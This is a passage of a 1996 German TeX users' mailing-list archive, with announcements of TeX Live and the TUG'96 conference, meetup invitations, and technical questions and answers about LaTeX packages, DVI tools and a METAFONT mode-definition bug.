Heinecke Computerlinguistik Humboldt Universit"at zu Berlin http://www.compling.hu-berlin.de/~johannes From owner-tex-d-l@VM.GMD.DE Wed May 29 22:23:21 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gerlinde Kettl Date: Wed, 29 May 1996 13:37:53 +0200 Subject: Probleme mit caption Hallo, Dank an alle fuer die Hilfe, das Problem ist mit Eurer Hilfe inzwischen geloest worden. Es war eine alte docstrip Version die in /usr/local/tex/inputs/doc rumlag und bei Neuinstallationen nie ueberschrieben und deshalb immer noch aufgerufen wurde. Tschau, Gerlinde -- ------------------------------------------------------------------------------ Gerlinde Kettl gerlinde.kettl@mathematik.uni-regensburg.de University of Regensburg gerlinde.kettl@physik.uni-regensburg.de WWW: http://rphibm1.physik.uni-regensburg.de/~keg03729/ IRC: jaelle Mostly harmless. From owner-tex-d-l@VM.GMD.DE Wed May 29 22:25:28 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Sebastian Rahtz Date: Wed, 29 May 1996 13:19:48 +0100 Subject: [ANNOUNCE] TeX Live CDROM I am very glad to announce the launch today in Paris of TeX Live, a new CD published by the TeX Users Group, the UK TeX Users Group and GUIenberg (French TeX Users), with help from NTG (Dutch TeX Users) and many individuals from other groups. TeX Live's 649 megabytes contains: - a ready to run Unix TeX setup, Thomas Esser's teTeX (based on Karl Berry's Web2c). It has binaries for: Linux on Intel and m68k platforms; Irix 5.2, 5.3 on MIPS (SGI Indy/Indigo) SunOS 4.1.3 on Sun Solaris 2.3, 2.4, 2.5 on SPARC HPUX 9.01, 10.01 for HP workstations Digital Unix (OSF/1) 2.0 and 3.2 for DEC Alpha machines FreeBSD and NetBSD on Intel platforms Ultrix 4.3, for DEC Decstation machines AIX 3.2, 4.1.1, for IBM RS6000 machines NeXTStep on Intel platforms - a very large support tree of macros, fonts and documentation arranged according to the TeX Directory Structure layout - the GUTenberg Mac, DOS and Windows distributions (archived) You can use the TeX system by running directly from the CD, installing on your hard disk, or by adding packages to your existing system. This is not a dump of CTAN full of compressed archives. This is a *working* system. To make it useable under Unix, it uses the Rock Ridge extensions to the ISO9660 file system. Ordinary systems can still read it, but will not see the long file names or symbolic links. If you are on any flavour of Unix, BUY this CD! There is no complicated compilation or moving of installed files around, it will just *WORK*. More details, and ordering information, can be found at http://www.tug.org/texlive.html. If you dont have WWW access, mail me or tug@tug.org for details. Cost is around $20 for members of any TeX users group, or $40 for others (the prices vary, depending on postage). All profits from sales go back to fund new versions of the CD, and to TeX-related development projects. Sebastian Rahtz Secretary, TeX Users Group From owner-tex-d-l@VM.GMD.DE Wed May 29 15:43:55 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Wed, 29 May 1996 08:37:03 EDT Subject: TeX-Stammtisch in Berlin Leider heute etwas kurzfristig: Am Donnerstag, den 30.5.96 (der letzte des Monats) findet wieder der Berliner TeX-Stammtisch statt. Alle die Interesse an TeX/LaTeX, Postscript und verwandten Problemen haben, sind herzlich eingeladen. Ort: Gaststaette "Baerenschaenke", Friedrichstrasse 124 (direkt am U-Bahnhof Oranienburger Tor) Zeit: 19.00 Uhr ...Rolf .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: ++49-30-3481-316, Fax.: ++49-30-3481-490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@PTB.DE | `----------------------------------------------------' From owner-tex-d-l@VM.GMD.DE Wed May 29 22:43:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Wed, 29 May 1996 19:55:11 +0100 Subject: Re: Kyrillischer tt-Font gesucht Die cmcyr-Verteilung (leider nur Russisch...) enth"alt auch kyrillische Schreibmaschinenschrift. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Sun Jun 2 18:04:51 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sun, 2 Jun 1996 16:04:46 +0200 Subject: TeX-Stammtisch in Bremen im Juni 1996 am 1996-06-04 um 18:00 MEST Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 4. Juni 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/628813 CU Martin -- Martin Schr"oder, MS@Dream.HB.North.DE Internet: Thousands of people mostly unaware of the sight and sound of each other, linked together by the bits of our souls that can fit through computer keyboards. (James Fortune) From owner-tex-d-l@VM.GMD.DE Mon Jun 3 18:20:00 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Werner Cyrmon Date: Mon, 3 Jun 1996 18:19:33 +0200 Subject: Re: German Hyphenation Bernd Raichle wrote: > > Werner Cyrmon schreibt: > : > PS: Ich verwende im Vorspann \usepackage[cp850]{inputenc}, schreibe die > [...] > : Wo gibts das? Erspare ich mir dann das "a .... > > In jedem (neueren) LaTeX2e ist das Paket `inputenc' enthalten. Hab versucht inputenc zu verwenden und festgestellt, dass ich offensichtlich ein zu altes latex2e habe. Wo gibts ein neues aber zusammengezippt (oder tar ...): da ich mit ftp kein dir als ganzes saugen kann ist das laden selbst mit mget ziemlich langeweilig. Wenn es das nirgends gibt, welches dir aus dem latex2e-Verzeichnis (z.B. bei dante.de) brauche ich? MfG Werner -- ================================================================= Prof. Mag. Werner CYRMON HTBLuVA Wr. Neustadt Abt. EDVO Zwei Dinge sind unendlich, Babenbergerring 5A das Universum und die menschliche Dummheit A-2700 Wr. Neustadt aber beim Universum bin ich mir noch nicht w.cyrmon@htlwrn.ac.at ganz sicher. (A.Einstein) Homepage:http://www.htlwrn.ac.at/cyx ================================================================= From owner-tex-d-l@VM.GMD.DE Mon Jun 3 18:30:12 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Mon, 3 Jun 1996 18:28:07 +0200 Subject: Re: German Hyphenation > > Werner Cyrmon schreibt: > > : > PS: Ich verwende im Vorspann \usepackage[cp850]{inputenc}, schreibe die > > [...] > > : Wo gibts das? Erspare ich mir dann das "a .... > > > > In jedem (neueren) LaTeX2e ist das Paket `inputenc' enthalten. > Hab versucht inputenc zu verwenden und festgestellt, dass ich > offensichtlich ein zu altes latex2e habe. > Wo gibts ein neues aber zusammengezippt (oder tar ...): da ich mit ftp > kein dir als ganzes saugen kann ist das laden selbst mit mget ziemlich > langeweilig. Wenn es das nirgends gibt, welches dir aus dem > latex2e-Verzeichnis (z.B. bei dante.de) brauche ich? ftp://ftp.dante.de/tex-archive/macros/latex/base/* Du kannst auch das gesamte Directory als tar- oder zip-Archiv holen; es wird "on the fly" erzeugt: % ftp ftp.dante.de ... ftp> cd /tex-archive/macros/latex ftp> get base.tar.gz oder ftp> get base.zip Gruss, -rz -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 ===> Neue Telefonnummer ab 28. Juni: Tel.: (040) 5494-2295/2276 Fax: -2241 From owner-tex-d-l@VM.GMD.DE Mon Jun 3 18:44:40 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Eckart Meyer Date: Mon, 3 Jun 1996 18:44:57 +0100 Subject: DVIPS unter WIN32 ? Hi, Gibt es jemanden, der die aktuelle Version von DVIPS (V5.58 ?) fuer WIN32 unter MSVC zusammengebaut hat (als conole-mode programm) oder ein Makefile dafuer hat? Das wuerde dann unter NT und Win95 laufen, die Versionen mit dem EMX tun das nicht, da offenbar DPMI nicht unterstuetzt wird (ich kenne mich mit EMX nicht aus). Danke fuer Hinweise, Eckart ----------------------------------------------------------------------------- Eckart Meyer Address: Schleinitzstr. 22 Institute for Telecommunication 38092 Braunschweig Technical University of Braunschweig Germany Phone: +49 531 391 2454 E-Mail: meyer@ifn.ing.tu-bs.de FAX: +49 531 391 5192 ----------------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Tue Jun 4 07:28:00 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Werner Cyrmon Date: Tue, 4 Jun 1996 07:28:08 +0200 Subject: Re: German Hyphenation Reinhard Zierke wrote: > > > > Werner Cyrmon schreibt: > > > : > PS: Ich verwende im Vorspann \usepackage[cp850]{inputenc}, schreibe die > > > [...] > > > : Wo gibts das? Erspare ich mir dann das "a .... > > > > > > In jedem (neueren) LaTeX2e ist das Paket `inputenc' enthalten. > > Hab versucht inputenc zu verwenden und festgestellt, dass ich > > offensichtlich ein zu altes latex2e habe. > > Wo gibts ein neues aber zusammengezippt (oder tar ...): da ich mit ftp > > kein dir als ganzes saugen kann ist das laden selbst mit mget ziemlich > > langeweilig. Wenn es das nirgends gibt, welches dir aus dem > > latex2e-Verzeichnis (z.B. bei dante.de) brauche ich? > > ftp://ftp.dante.de/tex-archive/macros/latex/base/* > > Du kannst auch das gesamte Directory als tar- oder zip-Archiv holen; es > wird "on the fly" erzeugt: > > % ftp ftp.dante.de > ... > ftp> cd /tex-archive/macros/latex > ftp> get base.tar.gz > > oder > > ftp> get base.zip > > Gruss, > -rz > > -- Danke WErner -- ================================================================= Prof. Mag. Werner CYRMON HTBLuVA Wr. Neustadt Abt. EDVO Zwei Dinge sind unendlich, Babenbergerring 5A das Universum und die menschliche Dummheit A-2700 Wr. Neustadt aber beim Universum bin ich mir noch nicht w.cyrmon@htlwrn.ac.at ganz sicher. (A.Einstein) Homepage:http://www.htlwrn.ac.at/cyx ================================================================= From owner-tex-d-l@VM.GMD.DE Tue Jun 4 11:02:38 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Natterer Date: Tue, 4 Jun 1996 09:47:01 +0200 Subject: dvi viewer unter windows Hi, ich suche einen DVI Viewer unter Windows. Kennt jemand einen der nicht wie dviwin eigene Bildschirmfonts braucht, sondern mit den normalen Druckerfonts arbeitet? Johannes Natterer ______________________________________________________________________________ Johannes Natterer Institut fuer Physikalische Chemie der Universitaet Bonn Wegelerstr. 12 D - 53115 Bonn Tel: +49/228/732918 Fax: +49/228/732551 email: johannes@rs1.thch.uni-bonn.de ______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Tue Jun 4 19:19:06 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Stefan A. Muehlenweg" Date: Tue, 4 Jun 1996 18:11:21 +0200 Subject: Re: dvi viewer unter windows > ich suche einen DVI Viewer unter Windows. Kennt jemand > einen der nicht wie dviwin eigene Bildschirmfonts braucht, sondern > mit den normalen Druckerfonts arbeitet? Ja, dviwin. :-) Konfiguriere dviwin auf die Aufloesung, die Deine *Drucker*fonts haben! Konfiguriere den Path dorthin (font libraries oder Verzeichnis fuer PK's). Aendere danach nichts mehr an der Basis-Aufloesung. Mit der Zoom-Funktion kannst Du dann das normalerweise viel zu grosse Bild entsprechend verkleinern. Tschuess, Stefan Stefan A. Muehlenweg Stefan.A.Muehlenweg@samhh.hanse.de Liliencronstr. 6 Tel. +49 (40) 677 60 97 D-22149 Hamburg, Germany +++++++++++++++++ If you're happy, you're successful. +++++++++++++++++++++++ From owner-tex-d-l@VM.GMD.DE Wed Jun 5 16:50:54 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Wed, 5 Jun 1996 16:46:55 +0200 Subject: Re: DVIPS unter WIN32 ? On Mon, 3 Jun 1996, Eckart Meyer wrote: > Hi, > > Gibt es jemanden, der die aktuelle Version von DVIPS (V5.58 ?) fuer > WIN32 unter MSVC zusammengebaut hat (als conole-mode programm) oder > ein Makefile dafuer hat? Das wuerde dann unter NT und Win95 laufen, die > Versionen mit dem EMX tun das nicht, da offenbar DPMI nicht unterstuetzt wird > (ich kenne mich mit EMX nicht aus). Dann solltest Du 'mal in die Dokumentation schauen: es gibt einen alternativen DOS-Extender (rsx), der auch unter Windows NT zur Verfuegung steht. Die Win3.x-Version ist bei emTeX dabei (sollte auch unter Win95 laufen, bin aber nicht sicher), fuer NT gibt es m.W. einem eigenen Extender (rsxNT :-)) > > Danke fuer Hinweise, Bitte, Matthias -- Matthias Eckermann, Munich/Germany | errare (email) eckerman@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/~ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Thu Jun 6 10:39:17 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Thu, 6 Jun 1996 10:38:09 +0200 Subject: multicol Hallo LaTeX-Experten, ich verwende LaTeX2e mit dem zugeh"origen multicol.sty und m"ochte folgendes erreichen: Ein Text solldreispaltig gesetzt werden, wobei die links stehenden Spalten die gesamte Texth"ohe ausf"ullen sollen. Normalerweise f"ullt multicol so, da"s alle Spalten m"oglichst gleich lang werden. Ich habe mir vorerst mit \setcounter{unbalance}{20} geholfen, was laut Beschreibung bewirkt, da"s alle Spalten mit Ausnahme der am weitesten rechts stehenden, 20 Zeilen l"anger werden. Das ist aber nicht sehr sch"on und l"ost au"serdem mein zweites Problem nicht. Ich m"achte n"amlich noch eine Art "\columnbreak" haben, mit dem ich den Text in einer Spalte beenden kann und LaTeX veranlasse, eine neue Spalte zu beginnen. Noch viel sch"oner w"are es, wenn LaTeX einen automatischen "\columnbreak" an den Stellen ausf"uhren w"urde, an denen ein \section Kommando einen \pagebreak erzeugen w"urde (also wenn nur noch ein paar mikrige Zeilen am Ende der Spalte stehen). "Uberfordere ich mit meinen W"unschen multicol oder kennt jemand eine L"osung? Tsch"u"s Andreas. From owner-tex-d-l@VM.GMD.DE Thu Jun 6 16:45:57 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Eckart Meyer Date: Thu, 6 Jun 1996 16:46:20 +0100 Subject: Re: DVIPS unter WIN32 ? > > Gibt es jemanden, der die aktuelle Version von DVIPS (V5.58 ?) fuer > > WIN32 unter MSVC zusammengebaut hat (als conole-mode programm) oder > > ein Makefile dafuer hat? Das wuerde dann unter NT und Win95 laufen, die > > Versionen mit dem EMX tun das nicht, da offenbar DPMI nicht unterstuetzt wird > > (ich kenne mich mit EMX nicht aus). > > Dann solltest Du 'mal in die Dokumentation schauen: > es gibt einen alternativen DOS-Extender (rsx), der auch unter Windows NT > zur Verfuegung steht. > Die Win3.x-Version ist bei emTeX dabei (sollte auch unter Win95 laufen, > bin aber nicht sicher), fuer NT gibt es m.W. einem eigenen Extender > (rsxNT :-)) Auf die Gefahr hin, mir den Unmut der Windows-Hasser zuzuziehen: Wozu brauch' ich in einem 32-bit-System einen DOS-Extender??? Ich benutze auch nicht emTeX, sondern eine andere, echte 32-bit Version. Es kann nicht so schwierig sein, ein Makefile fuer MSVC zu machen, ich dachte nur, das haette vielleicht schon mal jemand gemacht (falls dem so ist und der/diejenige hatte das hier geschrieben, moege sich bitte nochmal bei mir direkt melden, da bei uns durch einen Fehler haufenweise Mails aus Maillisten verlorengegangen sind). Eckart From owner-tex-d-l@VM.GMD.DE Thu Jun 6 23:25:54 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Eberhard Mattes Date: Thu, 6 Jun 1996 23:23:22 +0200 Subject: Re: DVIPS unter WIN32 ? Eckart Meyer schreibt: > Ich benutze auch nicht emTeX, sondern eine andere, echte 32-bit > Version. Und emTeX ist eine falsche 32-bit-Version? Oder eine echte 31.4159-Bit-Version? Oder was? Eberhard Mattes Seitdem sie Faust, den zweiten Teil, gelesen, Ist sie ver"andert all in ihrem Wesen, Ihr Kopf verschoben, Ihr Hirn verschroben. --- Friedrich Theodor Vischer, Faust, Der Trag"odie dritter Theil From owner-tex-d-l@VM.GMD.DE Fri Jun 7 01:48:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Eckart Meyer Date: Fri, 7 Jun 1996 01:49:30 +0100 Subject: Re: DVIPS unter WIN32 ? In Article <199606062123.XAA14392@azu.informatik.uni-stuttgart.de> Eberhard Mattes writes: >> Ich benutze auch nicht emTeX, sondern eine andere, echte 32-bit >> Version. > >Und emTeX ist eine falsche 32-bit-Version? Oder eine echte >31.4159-Bit-Version? Oder was? Ich wusste, dass das den Eberhard provozieren wuerde... Gemeint war folgendes: Da Win32 einen 32-bit Addressraum hat, so wie jedes richtige Betriebssystem (z.B. Unix, VMS, OS/2 ;-), braucht es eigentlich ja keiner besonderen Hilfsmittel mehr, was die Sache schlicht einfacher macht. Eine Abwertung von Loesungen, die aus den Beschraenkungen von DOS herruehren, liegt mir voellig fern, wir benutzen unter DOS (natuerlich) emTeX. Ich habe uebrigends sogar eine 32-bit DVIPS Version, nur leider sind darin die emTex-specials nicht mitcompiliert - und die wuerden die Anwender gern benutzen. Eckart Meyer PS: rsx fuer WinNT ist meines Wissens eigentlich "nur" eine Art Bindeglied von GNU CC zu Win32, entwickelt fuer Leute, die MSVC nicht moegen und also auch keine Libraries und Linker besitzen (der Author hat's mir mal naeher erklaert, ich hab's leider nicht mehr so detailiert im Kopf). Wir haben aber MSVC. From owner-tex-d-l@VM.GMD.DE Tue Jun 11 12:09:47 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Tue, 11 Jun 1996 11:40:07 +0200 Subject: For wide distribution: TUG'96 Conference in Dubna (Russia) zur allgemeinen information... mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ ------- start of forwarded message (RFC 934 encapsulation) ------- Date: Wed, 5 Jun 1996 21:03:01 +0200 From: Michel Goossens Subject: For wide distribution: TUG'96 Conference in Dubna (Russia) TUG'96 UPDATE June 5, 1996 ùAs always, the best way to obtain the most current information is to access the TUG'96 WWW page at http://www.tug.org/tug96/tug96.html (or tug.cs.umb.edu, if www.tug.org isn't answering.)È BURSARY REMINDER: To apply to the bursary fund for financial assistance, send electronic mail to bursary@mail.tug.org (or bursary@tug.cs.umb.edu). All requests will be treated confidentially. UPDATE ON COSTS: We have received the following from the conference site in Dubna, for those traveling to TUG'96, to be held from July 28 to August 2. 1. The conference fee for participants is 500 USD, for accompanying persons is $450 USD, including hotel, food, cultural activities, transport from/to Moscow at the beginning/end of the Conference, etc. 2. The cost for a supplementary day in Dubna is about $15 USD for meals plus $15-30 USD for accommodation, depending on the type desired (shared, single). BANK TRANSFER INFORMATION UPDATE First, wire the money through one of the banks listed below, and then wait for a period of up to a week, and then contact your bank and ask for a copy of the wire receipt. Bring a copy of the receipt concerning your wire transfer with you to the conference. This can be used by the Organizing Committee to confirm receipt of your money. This information should then be included on the ASCII registration form which is linked to the www page. Email these to the Conference Secretariat in Dubna as confirmation of your registration nataly@ypr.jinr.dubna.su or you may FAX the two sheets to Mrs. N. Dokalenko at 7-095-975-2381 or 7-095-216-5891. Use one of the following Banks CURR. BANK SWIFT ACC CODE ____________________________________________________________________ USD The Bank of New York, NY IRVT US 3N 890-0057-033 Republic National Bank of New York, NY BLIC US 33 608206407 Credit Suisse, Zurich CRES CH ZZ 903140-44 Commerzbank, Frankfurt/Main COBA DE FF 400/8866709/00 National Westminster Bank PLC, London NWBK GB 2L 140/0/03401804 BCEN-Eurobank, Paris EURO FR PP 01316/001 Raiffeisen Zentralbank Austria AG, Vienna RZBA AT WW 70-50.093.699 International Moscow Bank, Moscow IMBK RU MM 401117 USD 400502 Credo Bank Moscow CRDORUMM 81026032 2. Point to the account of CyrTUG: BANK "CREDIT-MOSCOW" 6-TH MONETCHIKOVSKY PER., 8 MOSCOW RUSSIA 113054 SWIFT CODE: CRMORUMM ACCOUNT NUMBER 00107091799 PAYABLE TO CYRTUG (no private names as a receiver!) PURPOSE OF THE PAYMENT TUG-96 FEE 3. Deadline for the payment is June 15. 4. All the participants are kindly requested to bring a copy of the advice from the bank regarding the wire transfer of USD 100. A note of caution: Remember that each bank through which this money passes "can" collect a percentage of the money as a "handling fee". Michel Goossens / TUG President (president@tug.org) ------- end ------- From owner-tex-d-l@VM.GMD.DE Thu Jun 13 13:15:15 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Thu, 13 Jun 1996 13:19:58 +0100 Subject: Style fuer Formelsammlung gesucht Hallo TeXpertinnen und TeXperten, gibt es ein stylefile, mit dem man eine reine Formelsammlung komfortabel setzen kann? Ich stell mir das in etwa so vor: Ueberschrift Formel (eventuell in einer BOX) Variablen ------------------- Einheiten der Vars Erkl"arung der verwendeten Variablen. Wunschvorstellung waere vielleicht das Format von Kuchling: Taschenbuch der Physik, Verlag Harri Deutsch, (sofern das Jemand kennt). Fuer zahlreiche Hinweise danke ich schon im voraus. With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From owner-tex-d-l@VM.GMD.DE Fri Jun 14 15:46:23 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Juergen Kroener Date: Fri, 14 Jun 1996 15:46:42 +0100 Subject: Indices in \rm Hallo LaTeX-Experten, ich hab' da ein kleines Problem, bei einem Artikel wurde vom Verlag vorgeschrieben, dass die mathematischen Indices alle in \rm er- scheinen sollen und nicht wie ueblich mathematisch kursiv. Da es ein umfangreicherer Text ist, waere es relativ muehsam, alles in $_{\rm ...}$ umzusetzten und ein einfaches Suchen und Ersetzten nicht funktioniert. So ungefaehr muesste es doch gehen, wenn man eine entsprechen Font fuer die math-scriptsize umstellt, leider habe ich nicht gefunden (Kopka) wie das geht. Fuer alle raschen Hinweise bereits vorab dankend, Jueregn. -- =============================================================================== JJJJJJJJ KKK KKK | Juergen Kroener JJJJJJJJ KKK KKK | Institut fuer Physikalische und Theoretische Chemie JJJ KKK KKK | Universitaet Regensburg JJJ JJJ KKKKKK | D-93040 Regensburg (germany) !!!!!new zip-code!!!!! JJJ JJJ KKK KKK | JJJJJJ KKK KKK | ++49 941 - 943 4731 or ++49 941 - 943 4734 JJ KKK KKK | Email : Juergen.Kroener@chemie.uni-regensburg.de =============================================================================== From owner-tex-d-l@VM.GMD.DE Sat Jun 15 14:39:34 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Sat, 15 Jun 1996 14:41:30 +0100 Subject: Re: Indices in \rm Die Fonts grunds"atzlich umzustellen ist eine schlechte Idee (TM). Um den Eingabeaufwand zu vermindern, w"are eher an eine L"osung derart zu denken, da\3 die Zeichen ^ und _ aktiv gemacht werden und dann entsprechend definiert werden (etwa \newcommand*{_}[1]{\sb{\mathrm{#1}}}). Nicht gestestet, insbesondere wei\3 ich gerade nicht, ob \newcommand mit aktiven Zeichen benutzt werden kann, oder ob es hier \def sein mu\3. Alternative: Nachbearbeiten mit einem Editormakro oder kleinen C-Programm als Filter. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Sun Jun 16 05:09:42 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Sat, 15 Jun 1996 15:53:00 +0200 Subject: Indices in \rm Kommentar zu A63320@H in der Gruppe TeX-D-L *Hallo Juergen!* JKJ>So ungefaehr muesste es doch gehen, wenn man eine entsprechen Font JKJ>fuer die math-scriptsize umstellt, leider habe ich nicht JKJ>gefunden (Kopka) wie das geht. An Deiner Stelle wuerde ich mir eine Kopie (z.B. kroener.cls) der von Dir bevorzugten Dokumentenklasse nehmen und an der richtigen Stelle (da, wo LaTeX die Schrift fuer die math. Indizes setzt) die gewuenschte Schrift einsetzen... Dann \documentclass{kroener} usw. Und TTschê ps From owner-tex-d-l@VM.GMD.DE Mon Jun 17 11:16:26 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Stefan A. Muehlenweg" Date: Mon, 17 Jun 1996 11:03:32 +0200 Subject: DC-1.3 und modes.mf 2.1 Hallo TeXperten, hier eine Frage an die Metafont-Gurus: beim Erzeugen der neuen DC-1.3-Fonts in verschiedenen Aufloesungen ist mir ein merkwuerdiges Verhalten aufgefallen. Laut 00inst.tex ist modes.mf 3.0 NUR fuer "write-white-Devices" erforderlich. Aber auch anderes tut mit 2.1 nicht richtig. Zur Konfiguration: Linux 1.2.13, mf 2.71 (aus web2c-6.1 von K.Berry), plain.mf 2.71 modes.mf 2.1 dc 1.3 (Juni 1996) Beim Erzeugen von Fonts in "nechi" Aufloesung wird nicht in 360dpi, sondern 300dpi (cx) gearbeitet. Beim Erzeugen von nicht-dc-Fonts ist jedoch alles OK, die Ausgabe erfolgt in 360dpi. cmr10 laeuft korrekt: -----------------------------SCHNIPP----------------------------------------- samhh% mf "&plain \mode=nechi; mag=1; scrollmode; input cmr10" This is METAFONT, Version 2.71 (C version 6.1) (/usr/TeX/lib/texmf/mf/inputs/cm/cmr10.mf (/usr/TeX/lib/texmf/mf/inputs/cm/cmbase.mf) (/usr/TeX/lib/texmf/mf/inputs/cm/roman.mf (/usr/TeX/lib/texmf/mf/inputs/cm/romanu.mf [65] [66] [67] [68] [69] [70] [ ... ] (/usr/TeX/lib/texmf/mf/inputs/cm/comlig.mf [34] [45] [92] [123] [124]) ) ) Font metrics written on cmr10.tfm. Output written on cmr10.360gf (128 characters, 15376 bytes). ^^^^^ Transcript written on cmr10.log. -----------------------------SCHNAPP----------------------------------------- aber die gleiche Kommandozeile mit dcb0500 geht schief: -----------------------------SCHNIPP----------------------------------------- samhh% mf "&plain \mode=nechi; mag=1; scrollmode; input dcb0500" This is METAFONT, Version 2.71 (C version 6.1) (/usr/TeX/lib/texmf/mf/inputs/dc-driver/dcb0500.mf (/usr/TeX/lib/texmf/mf/inputs/dc/dxbase.mf) (/usr/TeX/lib/texmf/mf/inputs/dc/dcb.mf (/usr/TeX/lib/texmf/mf/inputs/dc/dxroman.mf OK ok (/usr/TeX/lib/texmf/mf/inputs/dc/dxaccess.mf OK ok) (/usr/TeX/lib/texmf/mf/inputs/dc/dxpseudo.mf OK ok) (/usr/TeX/lib/texmf/mf/inputs/dc/dxruwest.mf OK ok [192] [193] [194] [195] [196] [197] [198] [199] [200] [201] [202] [203] [ ... ] (/usr/TeX/lib/texmf/mf/inputs/dc/dxrligtb.mf OK ok) ) ) ) Font metrics written on dcb0500.tfm. Output written on dcb0500.300gf (256 characters, 15684 bytes). ^^^^^ <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Transcript written on dcb0500.log. -----------------------------SCHNAPP----------------------------------------- In "modes.mf" 2.1 steht folgendes: -----------------------------SCHNIPP----------------------------------------- [...] mode_def cx = % Canon CX, SX, LBP-LX mode_param (pixels_per_inch, 300); mode_param (blacker, 0); mode_param (fillin, .2); mode_param (o_correction, .6); mode_common_setup_; enddef; [...] % This is the same as |cx|, except for the resolution. mode_def nechi = % NEC-P6 at 360x360dpi mode_param (pixels_per_inch, 360); cx_; enddef; [...] -----------------------------SCHNAPP----------------------------------------- Benutzt wird ganz offensichtlich bei den neuen dc-Fonts "pixels_per_inch" aus der cx-Definition und nicht aus der nechi-Definition. Bisher (auch bei den dc-Fonts 1.n, n<3) ist dies Problem noch nie aufgetreten. Das gleiche passiert (nach weiteren Tests) ebenfalls bei anderen Mode-Definitionen, die auf "cx_" verweisen, wie z.B. "nexthi". Der Mode "ljfour" laeuft korrekt mit 600dpi, der verweist aber auch nicht auf einen anderen Mode. Warum passiert das? Tschuess, Stefan PS Kurzfristige Abhilfe ist natuerlich klar: In "modes.mf" Verweise auf andere Modi loeschen und die notwendigen Parameter in "mode_def" einzeln auffuehren. Dann funktioniert's wieder. Aber sollte das so sein? PPS Ich habe modes.mf 3.0 (noch) nicht hier. Damit teste ich's dann auch. Stefan A. Muehlenweg Stefan.A.Muehlenweg@samhh.hanse.de Liliencronstr. 6 Tel. +49 (40) 677 60 97 D-22149 Hamburg, Germany +++++++++++++++++ If you're happy, you're successful. +++++++++++++++++++++++ From owner-tex-d-l@VM.GMD.DE Wed Jun 19 02:05:49 1996 Content-Type: text Reply-To: German 